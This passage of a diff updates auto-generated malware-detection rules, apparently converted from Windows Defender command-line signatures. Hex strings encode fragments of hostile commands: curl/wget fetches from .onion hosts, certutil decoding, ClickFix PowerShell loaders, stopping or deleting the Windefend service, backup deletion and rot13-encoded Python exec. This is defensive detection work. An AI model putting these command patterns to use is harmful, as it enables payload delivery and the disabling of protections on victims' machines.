25 00 90 00 00 00 d7 75 00 00 } //8 + $a_00_3 = {04 00 21 23 54 45 4c 3a 54 72 6f } //11 + $a_3a_4 = {69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 41 00 05 00 10 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 75 00 00 0b 00 0b 00 04 00 21 23 54 } //24938 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_3 & 1)*104) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*8+(#a_00_3 & 1)*11+(#a_3a_4 & 1)*24938) >=5 } -rule _InfrastructureShared_26226{ +rule _InfrastructureShared_27692{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 77 6f 72 64 6f 6c 2e 41 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 06 00 3a 00 2f 00 2f 00 01 00 08 00 20 00 2d 00 6f 00 20 00 01 00 08 00 2e 00 6d 00 73 00 63 00 01 00 06 00 74 00 78 } //21283 + $a_25_2 = {25 00 } //5120 % + $a_25_3 = {25 00 90 02 08 25 00 25 } //656 + $a_00_5 = {00 0b 00 0b 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 41 00 05 00 10 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 } //-10496 + condition: + ((#a_46_0 & 1)*21283+(#a_25_2 & 1)*5120+(#a_25_3 & 1)*656+(#a_00_5 & 1)*-10496) >=5 + +} +rule _InfrastructureShared_27693{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 41 00 05 00 10 00 63 00 75 00 72 00 6c 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 } //21539 + $a_00_1 = {74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 75 00 00 0b 00 0b 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 44 00 05 00 10 00 77 00 67 00 65 00 74 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 } //16 + $a_00_3 = {2f 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 76 00 00 04 00 04 } //58 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16+(#a_00_3 & 1)*58) >=11 + +} +rule _InfrastructureShared_27694{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 73 70 4f 6e 69 6f 6e 2e 47 65 6e 2e 44 00 05 00 10 00 77 00 67 00 65 00 74 00 2e 00 65 00 78 00 65 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 } //21539 + $a_00_1 = {74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 05 00 0c 00 2e 00 6f 00 6e 00 69 00 6f 00 6e 00 00 00 d7 76 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 43 65 72 74 44 65 63 6f 64 65 48 74 61 00 01 00 28 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 64 00 65 00 63 00 6f 00 64 00 } //16 + $a_00_2 = {08 } //101 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16+(#a_00_2 & 1)*101) >=11 + +} +rule _InfrastructureShared_27695{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343189,7 +362297,7 @@ rule _InfrastructureShared_26226{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_3 & 1)*116) >=4 } -rule _InfrastructureShared_26227{ +rule _InfrastructureShared_27696{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -343199,18 +362307,39 @@ rule _InfrastructureShared_26227{ ((#a_46_0 & 1)*21283) >=10 } -rule _InfrastructureShared_26228{ +rule _InfrastructureShared_27697{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 42 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 26 00 90 00 0a 00 25 02 2a 00 32 00 5c 00 6d 00 3f } //21283 + condition: + ((#a_46_0 & 1)*21283) >=110 + +} +rule _InfrastructureShared_27698{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_6c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 65 6c 6c 45 78 65 63 4d 73 68 74 61 2e 41 21 4d 54 42 00 01 00 2b 02 6d 00 73 00 68 00 74 00 61 00 90 02 10 6a 00 61 00 76 00 61 00 73 00 63 00 72 00 69 00 70 00 } //21539 - $a_00_1 = {76 00 61 00 72 00 90 00 01 00 14 00 67 00 65 00 74 00 6f 00 62 00 6a 00 65 00 63 00 74 00 28 00 00 00 d7 78 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c } //116 + $a_00_1 = {76 00 61 00 72 00 90 00 01 00 14 00 67 00 65 00 74 00 6f 00 62 00 6a 00 65 00 63 00 74 00 28 00 00 00 d7 77 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //116 condition: ((#a_6c_0 & 1)*21539+(#a_00_1 & 1)*116) >=2 } -rule _InfrastructureShared_26229{ +rule _InfrastructureShared_27699{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 53 74 61 74 45 6e 75 6d 2e 5a 21 4d 54 42 00 f6 ff 0e 00 6e 00 65 00 73 00 73 00 75 00 73 00 5f 00 01 00 0e 00 6e 00 65 00 74 00 73 00 74 00 61 00 74 00 01 00 08 00 2d 00 61 00 6e } //21283 + $a_00_3 = {70 00 01 00 0a 00 26 00 20 00 72 00 65 00 6e 00 00 00 d7 78 00 00 64 00 64 00 01 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 4f 4c 42 41 53 5f 41 70 70 69 6e 73 74 61 6c 6c 65 72 00 64 00 43 02 73 00 74 00 61 00 72 00 74 00 90 02 20 6d 00 73 00 2d 00 61 00 70 00 70 00 69 00 6e 00 73 00 74 00 61 00 6c } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*116) >=4 + +} +rule _InfrastructureShared_27700{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 01 00 21 " @@ -343220,7 +362349,31 @@ rule _InfrastructureShared_26229{ ((#a_4c_0 & 1)*21539) >=100 } -rule _InfrastructureShared_26230{ +rule _InfrastructureShared_27701{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 4f 21 4d 54 42 00 64 00 24 00 63 00 6f 00 6e 00 68 00 6f 00 73 00 74 00 20 00 2d 00 2d 00 68 00 65 00 61 00 64 00 6c 00 65 00 73 00 73 00 0a 00 20 00 63 00 } //21283 + $a_00_1 = {20 00 2f 00 63 00 20 00 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 00 00 d7 78 00 00 97 00 97 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 } //109 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109) >=110 + +} +rule _InfrastructureShared_27702{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 20 00 23 00 20 00 43 00 3a 00 5c 00 01 00 0a 00 2e 00 64 00 } //21283 + $a_00_1 = {78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 78 00 6c 00 73 00 00 00 d7 79 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 70 54 61 6d 70 69 2e 41 21 72 66 6e 00 01 00 26 00 73 00 63 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 77 00 69 00 } //111 + $a_00_2 = {65 00 66 00 65 00 6e 00 64 00 01 00 22 00 73 00 63 00 20 00 73 00 74 00 6f 00 70 00 20 00 77 00 69 00 6e 00 64 00 65 00 66 00 65 00 6e 00 64 00 00 00 d7 79 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 70 72 6f 6c 61 64 2e 42 21 67 65 6e 00 02 00 12 00 76 00 } //110 + $a_00_3 = {69 00 66 00 79 00 63 00 74 00 6c 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 01 00 0a 00 73 00 70 00 6c 00 69 00 74 00 01 00 13 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 00 00 d7 7a 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 70 43 6f 6e 66 52 65 2e 46 00 01 00 24 } //101 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_2 & 1)*110+(#a_00_3 & 1)*101) >=151 + +} +rule _InfrastructureShared_27703{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " @@ -343231,18 +362384,40 @@ rule _InfrastructureShared_26230{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_26231{ +rule _InfrastructureShared_27704{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 65 70 72 6f 6c 61 64 2e 42 21 67 65 6e 00 02 00 12 00 76 00 65 00 72 00 69 00 66 00 79 00 63 00 74 00 6c 00 01 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c } //21539 - $a_00_3 = {74 00 01 00 13 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 00 00 d7 7a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4b 6f 61 64 69 63 2e 41 21 61 74 74 6b 00 01 00 1d 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 0f 68 00 74 00 74 00 70 00 90 00 01 00 39 02 5c 00 6d 00 73 00 68 00 74 00 6d } //108 + $a_00_3 = {74 00 01 00 13 02 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 00 00 d7 7a 00 00 01 00 01 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 70 43 6f 6e 66 52 65 2e 46 00 01 00 24 00 2f 00 63 00 20 00 69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 72 00 65 00 6e 00 65 00 } //108 condition: ((#a_4c_0 & 1)*21539+(#a_00_3 & 1)*108) >=4 } -rule _InfrastructureShared_26232{ +rule _InfrastructureShared_27705{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 70 43 6f 6e 66 52 65 2e 46 00 01 00 24 00 2f 00 63 00 20 00 69 00 70 00 63 00 6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 72 00 65 00 6e 00 65 00 77 00 01 00 28 00 2f 00 63 00 20 00 69 00 } //21283 + $a_00_1 = {6f 00 6e 00 66 00 69 00 67 00 20 00 2f 00 72 00 65 00 6c 00 65 00 61 00 73 00 65 00 00 00 d7 7a 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 52 48 21 4d 54 42 00 01 00 16 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112) >=1 + +} +rule _InfrastructureShared_27706{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 63 6f 64 65 72 2e 52 48 21 4d 54 42 00 01 00 16 00 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 01 00 30 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 } //21283 + $a_00_1 = {54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 00 00 00 d7 7a 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 4b 6f 61 64 69 63 2e 41 21 61 74 74 6b 00 01 00 1d 02 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 90 02 0f } //89 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*89) >=2 + +} +rule _InfrastructureShared_27707{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -343252,19 +362427,31 @@ rule _InfrastructureShared_26232{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_26233{ +rule _InfrastructureShared_27708{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 53 63 53 64 64 6c 4d 6f 64 2e 41 00 01 00 10 00 5c 00 73 00 63 00 2e 00 65 00 78 00 65 00 00 00 01 00 22 00 20 00 73 00 64 00 73 00 65 00 74 00 20 00 73 00 63 00 6d 00 61 00 6e 00 61 00 67 00 65 00 72 00 20 00 } //21283 $a_00_1 = {44 00 3a 00 28 00 41 00 3b 00 3b 00 4b 00 41 00 3b 00 3b 00 3b 00 57 00 44 00 29 00 } //1 D:(A;;KA;;;WD) - $a_7a_2 = {00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 44 00 14 00 4a 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 90 02 ff 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 02 ff 2f 00 74 00 72 00 90 02 ff 2f 00 78 00 6d 00 6c 00 90 02 ff 2e 00 78 00 6d 00 6c 00 90 00 00 00 d7 7b 00 00 14 00 14 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 45 78 65 63 53 76 63 52 75 6e 64 6c 6c 2e 41 00 0a 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 10 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 9c ff 22 00 5c } //0 + $a_7a_2 = {00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 47 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 1a 00 73 00 74 00 61 00 72 00 74 00 20 00 77 00 65 00 62 00 2d 00 69 00 64 00 3a 00 01 00 08 00 2e 00 63 00 6d 00 64 00 00 00 d7 7a 00 00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 44 00 14 00 4a 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 90 02 ff 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 } //0 condition: ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1+(#a_7a_2 & 1)*0) >=3 } -rule _InfrastructureShared_26234{ +rule _InfrastructureShared_27709{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 47 47 42 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 1a 00 73 00 74 00 61 00 } //21283 + $a_00_1 = {20 00 77 00 65 00 62 00 2d 00 69 00 64 00 3a 00 01 00 08 00 2e 00 63 00 6d 00 64 00 00 00 d7 7a 00 00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 44 00 14 00 4a 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 90 02 ff 2f 00 63 00 72 00 65 00 61 } //114 + $a_2f_3 = {74 00 72 00 90 02 ff 2f 00 78 00 6d 00 6c 00 90 02 ff 2e 00 78 00 6d 00 6c 00 90 00 00 00 d7 7a 00 00 a1 00 a1 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 10 00 24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 0a 00 12 00 2e 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 7b 00 00 14 00 14 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 45 78 65 63 53 76 63 52 75 6e 64 6c 6c 2e 41 00 0a 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 10 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 9c ff 22 00 5c 00 4d 00 6f 00 72 00 } //656 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_2f_3 & 1)*656) >=4 + +} +rule _InfrastructureShared_27710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 01 00 21 " @@ -343274,33 +362461,56 @@ rule _InfrastructureShared_26234{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26235{ +rule _InfrastructureShared_27711{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 55 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 10 00 24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 0a 00 } //21283 + $a_00_1 = {49 00 6e 00 76 00 6f 00 6b 00 65 00 28 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 7b 00 00 14 00 14 00 03 00 21 23 54 45 4c 3a } //18 + $a_6a_2 = {6e 3a 57 69 6e 33 32 2f 50 73 45 78 65 63 53 76 63 52 75 6e 64 6c 6c 2e 41 00 0a 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 10 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 5c 00 9c ff 22 00 5c 00 4d 00 6f 00 72 00 6e 00 65 00 61 00 75 00 20 00 53 00 68 00 65 00 70 00 65 00 6c 00 6c 00 5c 00 00 00 d7 7c 00 00 01 } //29268 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*18+(#a_6a_2 & 1)*29268) >=161 + +} +rule _InfrastructureShared_27712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 73 45 78 65 63 53 76 63 52 75 6e 64 6c 6c 2e 41 00 0a 00 10 00 72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 0a 00 10 00 3a 00 5c 00 75 00 73 00 65 00 72 00 73 00 } //21539 $a_ff_1 = {00 5c 00 4d 00 6f 00 72 00 6e 00 65 00 61 00 75 00 20 00 53 00 68 00 65 00 70 00 65 00 6c 00 6c 00 5c 00 00 00 d7 7c 00 00 01 00 01 00 07 00 21 23 54 45 4c 3a 4b 69 6c 6c 57 69 6e 44 65 66 2e 42 21 69 62 74 00 01 00 09 00 77 69 6e 64 65 66 65 6e 64 01 00 08 00 77 64 66 69 6c 74 65 72 01 00 06 00 77 64 62 6f 6f 74 01 00 05 00 73 65 6e 73 65 01 00 08 00 77 64 6e 69 73 64 72 76 01 00 08 00 77 64 6e 69 73 73 76 63 01 00 15 00 73 65 63 75 72 69 74 79 68 65 61 6c 74 68 } //92 - $a_76_2 = {63 65 00 00 d7 7c 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 41 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f 00 64 00 65 00 63 00 73 00 01 00 26 00 65 00 78 00 65 00 63 00 28 00 63 00 6f 00 64 00 65 00 63 00 73 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 } //25971 + $a_76_2 = {63 65 00 00 d7 7c 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 50 21 4d 54 42 00 01 00 34 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 28 00 69 00 72 00 6d 00 01 00 14 00 70 00 6f 00 } //25971 condition: ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*92+(#a_76_2 & 1)*25971) >=20 } -rule _InfrastructureShared_26236{ +rule _InfrastructureShared_27713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 21 " strings : $a_4c_0 = {4b 69 6c 6c 57 69 6e 44 65 66 2e 42 21 69 62 74 00 01 00 09 00 77 69 6e 64 65 66 65 6e 64 01 00 08 00 77 64 66 69 6c 74 65 72 01 00 06 00 77 64 62 6f 6f 74 01 00 05 00 73 65 6e 73 65 01 00 08 00 77 64 6e 69 } //21539 - $a_76_1 = {00 08 00 77 64 6e 69 73 73 76 63 01 00 15 00 73 65 63 75 72 69 74 79 68 65 61 6c 74 68 73 65 72 76 69 63 65 00 00 d7 7c 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 41 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f 00 64 00 65 00 63 00 73 00 01 00 26 00 65 00 78 00 } //25715 - $a_00_2 = {28 00 63 00 6f 00 64 00 65 00 63 00 73 00 2e 00 64 00 65 00 63 00 6f 00 64 00 65 00 28 00 01 00 0c 00 72 00 6f 00 74 00 5f 00 31 00 33 00 00 00 d7 7c 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 47 61 74 65 43 6d 64 2e 45 54 00 01 00 0e 00 63 00 6d } //101 - $a_00_4 = {65 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 16 00 41 00 75 00 74 00 6f 00 69 00 74 00 33 00 2e 00 65 00 78 00 65 00 01 00 0a 00 68 00 74 00 74 00 70 00 3a 00 01 00 08 00 2e 00 61 00 75 00 33 00 00 00 d7 7c 00 00 09 00 09 00 05 00 21 23 54 45 4c 3a 53 75 73 70 41 44 52 65 63 6f 6e 2e 41 21 69 62 74 00 03 00 0e 80 01 5b 61 64 73 69 73 65 61 72 63 68 65 72 } //101 - $a_73_6 = {61 72 63 68 72 6f 6f 74 02 00 07 80 01 6c 64 61 70 3a 2f 2f 01 00 11 80 01 64 69 73 74 69 6e 67 75 69 73 68 65 64 6e 61 6d 65 01 00 12 80 } //384 + $a_76_1 = {00 08 00 77 64 6e 69 73 73 76 63 01 00 15 00 73 65 63 75 72 69 74 79 68 65 61 6c 74 68 73 65 72 76 69 63 65 00 00 d7 7c 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 50 21 4d 54 42 00 01 00 34 00 5b 00 73 00 63 00 72 00 69 00 70 00 74 00 62 00 6c 00 6f 00 63 00 6b 00 5d 00 } //25715 + $a_00_2 = {43 00 72 00 65 00 61 00 74 00 65 00 28 00 28 00 69 00 72 00 6d 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 7c 00 00 03 00 03 00 03 00 } //58 + $a_45_3 = {3a 57 69 6e 33 32 2f 50 79 74 68 6f 6e 4f 6e 65 6c 69 6e 65 2e 41 00 01 00 1a 00 69 00 6d 00 70 00 6f 00 72 00 74 00 20 00 63 00 6f 00 64 00 65 00 63 00 73 00 01 00 26 00 65 00 78 00 65 00 63 00 28 00 63 00 6f 00 64 00 65 00 63 00 73 00 2e 00 64 00 65 } //8993 + $a_00_5 = {28 00 01 00 0c 00 72 00 6f 00 74 00 5f 00 31 00 33 00 00 00 d7 7c 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 72 6b 47 61 74 65 43 6d 64 2e 45 54 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 16 00 41 00 75 } //100 condition: - ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*25715+(#a_00_2 & 1)*101+(#a_00_4 & 1)*101+(#a_73_6 & 1)*384) >=1 + ((#a_4c_0 & 1)*21539+(#a_76_1 & 1)*25715+(#a_00_2 & 1)*58+(#a_45_3 & 1)*8993+(#a_00_5 & 1)*100) >=1 } -rule _InfrastructureShared_26237{ +rule _InfrastructureShared_27714{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 5a 50 21 4d 54 42 00 01 00 